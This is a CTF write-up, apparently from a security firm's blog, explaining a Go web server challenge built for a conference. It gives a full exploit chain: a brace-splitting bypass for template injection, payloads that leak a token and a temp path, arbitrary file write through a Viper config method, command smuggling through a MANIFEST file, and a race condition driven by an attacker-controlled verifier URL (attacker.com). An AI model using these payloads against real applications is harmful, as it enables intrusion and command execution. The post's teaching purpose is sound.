July 12, 2026
15 min
One of the long-running projects we’re especially proud of at Botanica is our collaboration with Microsoft, where we’ve been designing and building Capture the Flag (CTF) challenges for BlueHat Israel for the past nine years. Every year, we look for new ideas that turn interesting security concepts into hands-on challenges that are both educational and fun to solve.
In this post, we’ll take a behind-the-scenes look at how the challenge was designed, the vulnerabilities it demonstrates, and one possible path to solving it.
The challenge gives participants the full source code for two components:
Looking at the challenge for the first time, this is what participants see:

The challenge consists of a Go web server which allows participants to actually control the color of the flames in the conference's campfire, and Linux-y sandbox meant to constrain it. Participants start the challenge by receiving the full source code of both the server and the sandbox.
We've had a lot of fun building it and watching the most dedicated players spend the whole day trying to crack it. This challenge was hard, only three teams managed to solve the whole thing!
The first part of the challenge is the campfire-controller, a Go-based HTTP server that simulates and controls a physical campfire's flame color. This service is designed to be deployed in a containerized environment where it manages flame color through a control file interface.
The campfire-controller implements a fire simulation engine that models how different types of fuel (wood, kindling, etc.) and suppressants affect fire intensity over time. The intensity value is then mapped to a flame color: YELLOW (low), ORANGE (medium), RED (high), or BLUE (extreme). The system bridges the simulation world with real hardware control through a write-only FIFO control file. Interestingly, the code includes a safety mechanism that prevents writing "BLUE" to the control file - capping output at "RED" instead - suggesting the developers were concerned about the dangerously high temperatures that blue flames indicate.
The Challenge Goal: Achieve "FLAMES BLUE" by bypassing the safety mechanism and writing "BLUE" to the fire color controller.
The core workflow is:
via /api/v1/campfire (POST). The system tracks fuel burn rates, decay over time, and calculates current fire intensity based on active fuel combinations./api/v1/campfire (GET), showing how each addition affected the simulated intensity./api/v1/campfire/apply endpoint (POST) applies the current simulated state to the real world by changing the flame color of the campfire in the middle of the venue! The intensity is mapped to a color (YELLOW, ORANGE, RED) and written to the control file.The campfire-controller implements an asynchronous job queue built on Go concurrency patterns. The system supports three job types:
Jobs progress through lifecycle states (pending → running → completed/failed/cancelled) and are executed by a worker pool. The job manager maintains a thread-safe registry of all jobs, accessible via the /api/v1/job endpoints.
Critically, the global application state (defined in internal/state/state.go) exposes the job manager, configuration, and fuel logs to various parts of the application.
The campfire-controller is riddled with questionable security practices, and one might notice a template injection in the GET campfire log endpoint:
// GetCampfireLog handles GET /api/v1/campfire to display all fuel additions as an ASCII table
func GetCampfireLog(c *gin.Context) {
// Acquire read lock
s := state.Get()
defer s.Release()
campfireName := c.DefaultQuery("campfire_name", "")
// Sanitize campfire_name
re := regexp.MustCompile(`\{\{|\}\}`)
campfireName = re.ReplaceAllString(campfireName, "")
// Parse template with custom functions
tmpl, err := template.New("campfire").Funcs(template.FuncMap{
"add": func(a, b int) int {
return a + b
},
}).Parse(strings.Replace(campfireLogTemplate, "CAMPFIRE_NAME", campfireName, 1))
if err != nil {
c.String(http.StatusInternalServerError, "Template parsing error: %v", err)
return
}
// Set content type to plain text
c.Header("Content-Type", "text/plain; charset=utf-8")
c.Status(http.StatusOK)
// Execute template with state
if err := tmpl.Execute(c.Writer, s); err != nil {
c.String(http.StatusInternalServerError, "Template execution error: %v", err)
return
}
}
This endpoint displays all fuel additions as a formatted ASCII table. In addition to that table, an optional user-supplied campfire_name query parameter is reflected in the result. The developer attempted to sanitize the campfire name by removing {{ and }} characters with a regex, then directly substituting it into the template string before parsing it.
text/template PackageGo's text/template package implements a powerful template language for generating text output. Templates contain actions delimited by {{ and }} that access data, execute functions, and control flow.
When a template is executed, it receives a data object that becomes accessible within the template. Template actions can traverse this data structure and call methods on any reachable objects.
For example, given this Go code:
type Config struct {
APIKey string
}
type AppState struct {
Config *Config
Version string
}
func (s *AppState) GetVersionString() string {
return "Version: " + s.Version
}
state := &AppState{
Config: &Config{
APIKey: "secret123",
},
Version: "1.0.0",
}
tmpl.Execute(writer, state)Template actions can:
{{.Config.APIKey}} returns "secret123"{{range .Items}}...{{end}}{{if .Config.Debug}}...{{end}}{{.GetVersionString}} returns "Version: 1.0.0"The key insight is that templates have full access to the data object passed to Execute() - including all its fields, nested objects, and callable methods.
The sanitizer removes {{ and }} from our input before substituting it into the template. However, the substitution happens using a regex that simply deletes all brace pairs.
// Sanitize description
re := regexp.MustCompile(`\{\{|\}\}`)
description = re.ReplaceAllString(description, "")The catch is that we can split up a delimiter with the other delimiter, causing it to be reunited after sanitation:
{}}{ .Config.APIKey }{{}{{ .Config.APIKey }}The sanitizer only removed {{ and }} as complete pairs from our input, but by supplying {}}{ and }{{}, we create new valid template delimiters when the inner brace pairs are removed!
Now that we have a template injection, let's explore what's accessible from the data object passed to the template. Looking at the code, we see that the template receives the entire GlobalState object, which includes:
.Config - Application configuration.JobManager - The job manager instanceUPGRADE_AUTH_TOKENThe upgrade job requires authentication via the UPGRADE_AUTH_TOKEN environment variable. This token is stored in the GlobalState.Config object and accessible through the template.
We can inject:
{{.Config.UpgradeAuthToken}}
This payload traverses from the state object to the config and extracts the token. The result appears in the template output at the bottom of the records table.
The real power comes from the simulations job type. When a simulations job executes (see internal/job/simulations.go), it:
inputs parameter (array of input arrays for individual simulations)config parameter (arbitrary key-value map)Viper is a popular Go configuration library that includes methods for reading and writing configuration files. Crucially, it has a WriteConfigAs(filename string) method that writes the configuration to an arbitrary file path.
Our exploit:
/api/v1/job endpoint)WriteConfigAs on the Viper objectThe JobManager has a GetJob(id string) (*Job, bool) method that would be ideal for retrieving our specific job. However, Go's text/template package has a restriction on function calls: they must return either exactly one value, or two values where the second is an error type. Since GetJob returns (*Job, bool), we cannot call it from within a template.
Instead, we use GetJobs() which returns []*Job (a single value), then iterate to find the simulate sub-job spawned by our simulations job:
{{range $index, $job := .JobManager.GetJobs}}
{{if eq $job.ID "SIMULATE_SUB_JOB_ID"}}
{{$job.Parameters.config.WriteConfigAs "/target/path"}}
{{break}}
{{end}}
{{end}}This template:
GetJobs() to retrieve all jobs (returns a single slice value)rangeif eq $job.ID "SIMULATE_SUB_JOB_ID"WriteConfigAs method on the Viper config object stored in the job's parametersThe Viper object serializes the configuration map to YAML format, writing whatever key-value pairs we provided in the job configuration to the target file.
Now we have arbitrary file write, but where should we write? The answer lies in the upgrade job workflow.
The upgrade job (internal/job/upgrade.go) performs these steps:
/tmp/upgrade-123456)UPGRADE_ZIP_URLverifier_url/tmp/upgrade-123456/MANIFESTThe MANIFEST file is expected to be XML with this structure:
<actions>
<action>command arg1 arg2</action>
<action>another-command --flag</action>
</actions>
Each action is executed sequentially using Go's exec.Command, with execution stopping on the first failure.
Our arbitrary file write can only write YAML (via Viper), not pure XML. However, we can embed XML content within a YAML structure. When we create a process job with a configuration like:
{
"configuration": {
"a": "<actions>\n <action>command here</action>\n</actions>"
}
}The resulting YAML file will contain:
a: |
<actions>
<action>command here</action>
</actions>While this isn't pure XML, the upgrade job uses a streaming XML parser that reads through the file token-by-token. The parser will skip the YAML prefix (a: |) and successfully extract the <action> elements inside. This allows us to smuggle executable commands through a YAML-formatted file!
The exploit involves a race condition:
verifier_urlWe need to:
/tmp/upgrade-XXXXX/MANIFEST before step 5The optional verification step is our window. By providing a verifier_url parameter pointing to an attacker-controlled server, we can introduce a controlled delay between extraction and execution. Our server receives the MD5 hash POST request but delays sending the 200 OK response until we've completed the file overwrite.
This gives us time to:
To leak the temp directory, we use this template injection payload:
{{range $index, $job := .JobManager.GetJobs}}
{{if eq $job.ID "UPGRADE_JOB_ID"}}
{{$job.Parameters.tempDir}}
{{break}}
{{end}}
{{end}}The upgrade job stores tempDir in its parameters, making it accessible through template injection. The temp directory path appears in the template output, which we can parse and use as the target for our file write.
The complete exploit chain:
UPGRADE_AUTH_TOKEN from the config:{{.Config.UpgradeAuthToken}}
/api/v1/job) with a configuration containing our malicious commands:{
"type": "simulations",
"parameters": {
"inputs": [[]],
"config": {
"a": "<actions><action>echo PWNED</action></actions>"
}
}
}
verifier_url pointing to an attacker-controlled server:{
"type": "upgrade",
"parameters": {
"auth": "LEAKED_TOKEN",
"verifier_url": "http://attacker.com/verify"
}
}
{{range $index, $job := .JobManager.GetJobs}}
{{if eq $job.ID "UPGRADE_JOB_ID"}}
{{$job.Parameters.tempDir}}
{{break}}
{{end}}
{{end}}WriteConfigAs on the simulate sub-job's Viper config, writing the malicious payload to {tempDir}/MANIFEST:{{range $index, $job := .JobManager.GetJobs}}
{{if eq $job.ID "SIMULATE_SUB_JOB_ID"}}
{{$job.Parameters.config.WriteConfigAs "/tmp/upgrade-XXXXX/MANIFEST"}}
{{break}}
{{end}}
{{end}}
Although we've taken over the campfire-controller, there is still more to be done. A sandbox prevents us from directly setting the campfire color to blue. See the next blog post to find out how we escape the sandbox and finally acheive our goal!